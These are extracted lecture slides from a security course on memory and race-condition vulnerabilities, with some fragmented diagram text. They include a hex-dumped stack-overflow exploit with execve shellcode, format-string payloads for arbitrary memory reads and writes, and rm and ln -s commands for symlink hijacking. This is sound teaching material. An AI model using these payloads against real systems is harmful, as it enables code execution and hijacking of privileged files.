E-Commerce Security - Application attacks - Server Attacks

Application
Vulnerabilities and
Attacks
COEN 351

Vulnerability and Exploits
 Software Defects:
 A software defect is the encoding of a human error into the
software, including omissions.
 Security Flaw:
 A security flaw is a software defect that poses a potential
security risk.
 Eliminating software defects eliminate security flaws.
 A vulnerability is a set of conditions that allows an
attacker to violate an explicit or implicit security policy.
 Not all security flaws lead to vulnerabilities.
 A security flaw can cause a program to be vulnerable to
attack.
 Vulnerabilities can also exist without a security flaw.

Vulnerabilities and Exploits
 Exploit:
Proof-of-concept exploits are developed to
prove the existence of a vulnerability.
Proof-of-concept exploits are beneficial when
properly managed.
Proof-of-concept exploit in the wrong hands
can be quickly transformed into a worm or
virus or used in an attack.

Pointer Subterfuge
 Pointer Subterfuge modify a pointer’s
value.
Function pointers are overwritten to transfer
control to an attacker supplied shellcode.
Data pointers can also be changed to modify
the program flow according to the attacker’s
wishes.

COEN 351 E-Commerce Security
 E-Commerce Security Course Homepage
 Lecture Notes

Pointer Subterfuge
 Using a buffer overflow:
 Buffer must be allocated in the
same segment as the target
pointer.
 Buffer must have a lower
memory address than the
target pointer.
 Buffer must be susceptible to a
buffer overflow exploit.

Buffer Overflow
 A buffer overflow occurs when data is written
outside of the boundaries of the memory
allocated to a particular data structure.
Source
Memory
Allocated Memory (8 Bytes)
11 Bytes of Data
Copy
Operation
Other Memory

Buffer Overflow
 Process Memory Organization
Code or Text: Instructions
and read only data
Data: Initialized data,
uninitialized data, static
variables, global variables
Heap: Dynamically
allocated variables
Stack: Local variables,
return addresses, etc.

Stack Smashing
 When calling a subroutine / function:
 Stack stores the return address
 Stack stores arguments, return values
 Stack stores variables local to the subroutine
 Information pushed on the stack for a subroutine
call is called a frame.
 Address of frame is stored in the frame or base point
register.
 epb on Intel architectures

Stack Smashing
#include <iostream>
bool IsPasswordOkay(void)
{
char Password[8];
gets(Password);
if (!strcmp(Password, “badprog"))
return(true);
else return(false);
}
void main()
{
bool PwStatus;
puts("Enter password:");
PwStatus = IsPasswordOkay();
if (PwStatus == false){
puts("Access denied");
exit(-1);
}
else puts("Access granted");
}

Stack Smashing
Storage for PwStatus (4 bytes)
Caller EBP – Frame Ptr OS (4
bytes)
Return Addr of main – OS (4
Bytes)
…
Program stack before call to IsPasswordOkay()
puts("Enter Password:");
PwStatus=ISPasswordOkay();
if (PwStatus==true)
puts("Hello, Master");
else puts("Access denied");
Stack

Stack Smashing
Storage for Password (8 Bytes)
Caller EBP – Frame Ptr main (4
bytes)
Return Addr Caller – main (4
Bytes)
bytes)
Bytes)
…
Program stack during call to IsPasswordOkay()
if (PwStatus ==true)
{
char Password[8];
gets(Password);
if (!strcmp(Password,"badprog"))
return(true);
else return(false)
}
Stack

Stack Smashing
Program stack after call to IsPasswordOkay()
if (PwStatus ==true)
bytes)
Bytes)
bytes)
Bytes)
…
Stack

Stack Smashing
 What happens if we enter more than 7
characters of an input string?
#include <iostream>
{
char Password[8];
gets(Password);
if (!strcmp(Password, “badprog"))
return(true);
else return(false);
}
void main()
{
bool PwStatus;
puts("Enter password:");
PwStatus = IsPasswordOkay();
if (PwStatus == false){
puts("Access denied");
exit(-1);
}
else puts("Access granted");
}

Stack Smashing
{
char Password[8];
gets(Password);
if (!strcmp(Password,"badprog"))
return(true);
else return(false)
}
“12345678”
bytes)
“9012”
Bytes)
“3456”
“7890”
bytes)
“0”
Bytes)
…
Stack
The return address and other data on the
stack is over written because the memory
space allocated for the password can only
hold a maximum 7 character plus the NULL
terminator.

Stack Smashing
 A specially crafted string
“abcdefghijklW►*!” produced the
following result:

Stack Smashing
The string “abcdefghijklW►*!”
overwrote 9 extra bytes of memory
on the stack changing the callers
return address thus skipping the
execution of line 3
“abcdefgh”
Caller EBP – Frame Ptr main (4 bytes)
“ijkl”
Return Addr Caller – main (4 Bytes)
“W►*!” (return to line 4 was line 3)
“/0”
Caller EBP – Frame Ptr OS (4 bytes)
Return Addr of main – OS (4 Bytes)
Stack
Line Statement
1 puts("Enter
Password:");
2 PwStatus=ISPasswordOkay
();
3 if (PwStatus ==true)
4 puts("Hello, Master");
5 else puts("Access
denied");

Stack Smashing
 A buffer overflow can be exploited by
Changing the return address in order to
change the program flow (arc-injection)
Change the return address to point into the
buffer where it contains some malicious code
(Code injection)

Stack Smashing
 The get password program can be exploited to
execute arbitrary code by providing the following
binary data file as input:
000 31 32 33 34 35 36 37 38-39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34-35 36 37 38 E0 F9 FF BF "789012345678a· +"
020 31 C0 A3 FF F9 FF BF B0-0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"
030 F9 FF BF 8B 15 FF F9 FF-BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"
040 31 31 31 2F 75 73 72 2F-62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
 This exploit is specific to Red Hat Linux 9.0 and GCC

Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"
030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"
040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “
 The first 16 bytes of binary data fill the allocated
storage space for the password.
 NOTE: Even though the program only allocated 12
bytes for the password, the version of the gcc compiler
used allocates stack data in multiples of 16 bytes

Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
 The next 12 bytes of binary data fill the extra
storage space that was created by the compiler to
keep the stack aligned on a16-byte boundary.

Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
 The next 4 bytes overwrite the return address.
 The new return address is 0X BF FF F9 E0 (little-
endian)

Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
 The malicious code.
 Purpose of malicious code is to call execve with a user
provided set of parameters.
 In this program, instead of spawning a shell, we just call
the linux calculator program.

Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
 The malicious code:
 xor %eax,%eax #set eax to zero
 mov %eax,0xbffff9ff #set to NULL word
Create a zero value and use it to NULL terminate
the argument list.
This is necessary to terminate the argument list.

Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
 xor %eax,%eax #set eax to zero
 mov %eax,0xbffff9ff #set to NULL word
 mov $0xb,%al #set code for execve
Set the value of register al to 0xb. This value
indicates a system call to execve.

Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
 mov $0xb,%al #set code for execve
 mov $0xbffffa03,%ebx #ptr to arg 1
 mov $0xbffff9fb,%ecx #ptr to arg 2
 mov 0xbffff9ff,%edx #ptr to arg 3
 This puts the pointers to the arguments into ebc, ecx, and
edx registers.

Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
 mov $0xbffffa03,%ebx #ptr to arg 1
 mov $0xbffff9fb,%ecx #ptr to arg 2
 mov 0xbffff9ff,%edx #ptr to arg 3
 int $80 # make system call to execve
 Now make the system call to execve. The arguments are in
the registers.

Stack Smashing
000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"
The malicious code:
 Last part are the arguments.

Stack Smashing
 ./BufferOverflow < exploit.bin now
executes /usr/bin/cal0.

Stack Smashing Countermeasures
 Canaries
 Protect return addresses
 Random value is stored before return address.
 When returning, check whether canary has been
altered.
 Non-executable stacks
 Prevents shellcode injection
 Randomizing stack layout
 Introduce bogus empty blocks of memory on stack
 Attacker cannot predict stack layout

Data Pointers Example
void foo(void * arg, size_t len) {
char buff[100];
long val = …;
long *ptr = …;
memcpy(buff, arg, len);
*ptr = val;
…
return;
}
Buffer is vulnerable to
overflow.
Both val and ptr are located
after the buffer and can be
overwritten.
This allows a buffer
overflow to write an
arbitrary address in
memory.

Data Pointers
 Arbitrary memory writes can change the
control flow.
 This is easier if the length of a pointer is
equal to the length of important data
structures.
Intel 32 Architectures:
 sizeof(void*) = sizeof(int) = sizeof(long) = 4B.

Pointer Subterfuge
 Targets for memory overwrites:
Unix:
 GOT table
 .dtors
Windows
 Virtual function tables
 Exception handlers
 Details in Secure Programming Course

Format String Vulnerabilities
 printf and companions are variadic
functions.
Variable number of arguments.
Format string and addresses of arguments in
the format string are placed on the stack.
 Format string vulnerability:
User controls (partially) input to printf

Format String Vulnerabilities
 Example
1. int func(char *user) {
2. printf(user);
3. }
 If the user argument can be controlled by a user, this
program can be exploited to crash the program, view the
contents of the stack, view memory content, or overwrite
memory

Format String Vulnerability
 printf("%s%s%s%s%s%s%s%s%s%s%s%s");
 The %s conversion specifier displays memory at an
address specified in the corresponding argument on
the execution stack.
 Because no string arguments are supplied in this
example, printf() reads arbitrary memory
locations from the stack until the format string is
exhausted or an invalid pointer or unmapped address
is encountered.

Viewing Stack Content
 Attackers can also exploit formatted output functions to
examine the contents of memory.
 Disassembled printf() call
0x00000000
char format [32];
strcpy(format, "%08x.%08x.%08x.%08x");
printf(format, 1, 2, 3);
1. push 3
2. push 2
3. push 1
4. push offset format
5. call _printf
6. add esp,10h
Arguments are
pushed onto the stack
in reverse order.
the arguments in
memory appear in
the same order as in
the printf() call

Viewing the Contents of the Stack
0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
Initial argument pointer Final argument pointer
The address of the
format string
0xe0f84201 appears in
memory followed by the
argument values 1, 2,
and 3

0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
The memory
immediately following
the arguments contains
the automatic variables
for the calling function,
including the contents
of the format character
array 0x2e253038

0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
The format string %08x.
%08x.%08x.%08
instructs printf() to
retrieve four arguments
from the stack and
display them as eight-
digit padded
hexadecimal numbers

0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
As each argument is
used by the format
specification, the
argument pointer is
increased by the length
of the argument.

0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
Each %08x in the format
string reads a value it
interprets as an int from
the location identified by
the argument pointer.

0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
The values output by
each format string are
shown below the
format string.

0x00000000
e0f84201 2e25303801000000 02000000 03000000 25303878
% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
00000001.00000002.00000003.25303878
Format string:
Output:
Memory:
The fourth “integer”
contains the first four
bytes of the format
string—the ASCII
codes for %08x.

Viewing Memory at a Specific Location
0x00000000
dcf54201 25782578
Final argument pointer
e0f84201 01000000 02000000 03000000
xdc - written to stdout
xf5 - written to stdout
x42 - written to stdout
x01 - written to stdout
%x - advances argument pointer
%s - outputs string at address specified
Initial argument pointer
Memory:
in next argument
% x % x
address advance-argptr %s
xdcxf5x42x01%x%x%x%s
The series of three
%x conversion
specifiers advance
the argument
pointer twelve bytes
to the start of the
format string

Viewing Memory at a Specific Location
0x00000000
dcf54201 25782578
Final argument pointer
e0f84201 01000000 02000000 03000000
xdc -written to stdout
xf5 -written to stdout
x42 -written to stdout
x01 -written to stdout
%s - outputs string at address specified
Initial argument pointer
Memory:
in next argument
% x % x
address advance-argptr %s
xdcxf5x42x01%x%x%x%s
The %s conversion
specifier displays
memory at the
address supplied at
the beginning of the
format string.

Viewing Memory Content
 printf() displays memory from 0x0142f5dc until a 0 byte
is reached.
 The entire address space can be mapped by advancing
the address between calls to printf().
 Viewing memory at an arbitrary address can help an
attacker develop other exploits, such as executing
arbitrary code on a compromised machine.

 Arbitrary memory can be written by using the %n
specifier in the format string.
int i;
printf("hello%nn", (int *)&i);
 The variable i is assigned the value 5 because five
characters (h-e-l-l-o) are written until the %n
conversion specifier is encountered.
 Using the %n conversion specifier, an attacker can
write a small integer value to an address.

printf("xdcxf5x42x01%08x.%08x.%08x%n”);
 Writes an integer value corresponding to the number of
characters output to the address 0x0142f5dc.
 The value written (28) is equal to the eight-character-
wide hex fields (times three) plus the four address
bytes.
 An attacker can overwrite the address with the address
of some shellcode.

printf ("%16u%n%16u%n%32u%n%64u
%n",
 The first %16u%n sequence writes the value 16 to
the specified address, but the second %16u%n
sequence writes 32 bytes because the counter has
not been reset.

Dynamic Memory Errors
 Errors change internal heap structures,
leading to overwriting an arbitrary memory
address with an arbitrary value
Double free.
 Exploited vulnerability in both Linux and Windows

TOCTOU Race Conditions
 Race window by checking for some race
object and later accessing it.

TOCTOU
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
FILE *fd;
if (access("/some_file", W_OK) == 0) {
printf("access granted.n");
fd = fopen("/some_file", "wb+");
/* write to the file */
fclose(fd);
}
. . .
return 0;
}
The access()
function is called
to check if the file
exists and has
write permission.

TOCTOU
#include <stdio.h>
#include <unistd.h>
FILE *fd;
fclose(fd);
}
. . .
return 0;
}
the file is opened
for writing

TOCTOU
#include <stdio.h>
#include <unistd.h>
FILE *fd;
fclose(fd);
}
. . .
return 0;
}
Race window
between
checking for
access and
opening file.

TOCTOU
 Vulnerability
 An external process can change or replace the
ownership of some_file.
 If this program is running with an effective user ID
(UID) of root, the replacement file is opened and
written to.
 If an attacker can replace some_file with a link during
the race window, this code can be exploited to write
to any file of the attacker’s choosing.

TOCTOU
 The program could be exploited by a user
executing the following shell commands during
the race window:
rm /some_file
ln /myfile /some_file
 The TOCTOU condition can be mitigated by
replacing the call to access() with logic that
drops privileges to the real UID, opens the file
with fopen(), and checks to ensure that the
file was opened successfully.

TOCTOU Exploits Symbolic Link
if (stat("/some_dir/some_file", &statbuf) == -1) {
err(1, "stat");
}
if (statbuf.st_size >= MAX_FILE_SIZE) {
err(2, "file size");
}
if ((fd=open("/some_dir/some_file", O_RDONLY)) == -1)
{
err(3, "open - /some_dir/some_file");
}
11. // process file
stats
/some_dir/some_file
and opens the file for
reading if it is not too
large.

if (stat("/some_dir/some_file", &statbuf) == -1) {
err(1, "stat");
}
if (statbuf.st_size >= MAX_FILE_SIZE) {
err(2, "file size");
}
if ((fd=open("/some_dir/some_file", O_RDONLY)) == -1)
{
err(3, "open - /some_dir/some_file");
}
11. // process file
The TOCTOU check
occurs with the call of
stat()
TOCTOU use is
the call to fopen()

 Attacker executes the following during the race
window :
 rm /some_dir/some_file
 ln -s attacker_file /some_dir/some_file
 The file passed as an argument to stat() is not
the same file that is opened.
 The attacker has hijacked
/some_dir/some_file by linking this name to
attacker_file.

 Symbolic links are used because
 Owner of link does not need any permissions for the
target file.
 The attacker only needs write permissions for the
directory in which the link is created.
 Symbolic links can reference a directory. The attacker
might replace /some_dir with a symbolic link to a
completely different directory

 Example: passwd() functions of SunOS and
HP/UX
 passwd() requires user to specify password file as
parameter
1. Open password file, authenticate user, close file.
2. Create and open temporary file ptmp in same directory.
3. Reopen password file and copy updated version into ptmp.
4. Close both files and rename ptmp as the new password
file.

1. Attacker creates bogus password file called .rhosts
2. Attacker places .rhosts into attack_dir
3. Real password file is in victim_dir
4. Attacker creates symbolic link to attack_dir, called
symdir.
5. Attacker calls passwd passing password file as
/symdir/.rhosts.
6. Attacker changes /symdir so that password in steps 1
and 3 refers to attack_dir and in steps 2 and 4 to
victim_dir.
7. Result: password file in victim_dir is replaced by
password file in attack_dir.

 Symlink attack can cause exploited
software to open, remove, read, or write
a hijacked file or directory.
 Other example: StarOffice
 Exploit substitutes a symbolic link for a file
whose permission StarOffice is about to
elevate.
 Result: File referred to gets permissions
updated.

Morale
 Existing code base is full of software errors.
 Changing to safer languages is going to alleviate the
problem.
 All application software is under suspicion.
 Fast patching protects against most attacks.
 But not zero-day exploits
 Patching can break applications, hence:
 Test on test servers before applying patches.
 Decrease attack surface by
 running as few applications as possible
 running services at lowest possible privilege level.

E-Commerce Security - Application attacks - Server Attacks

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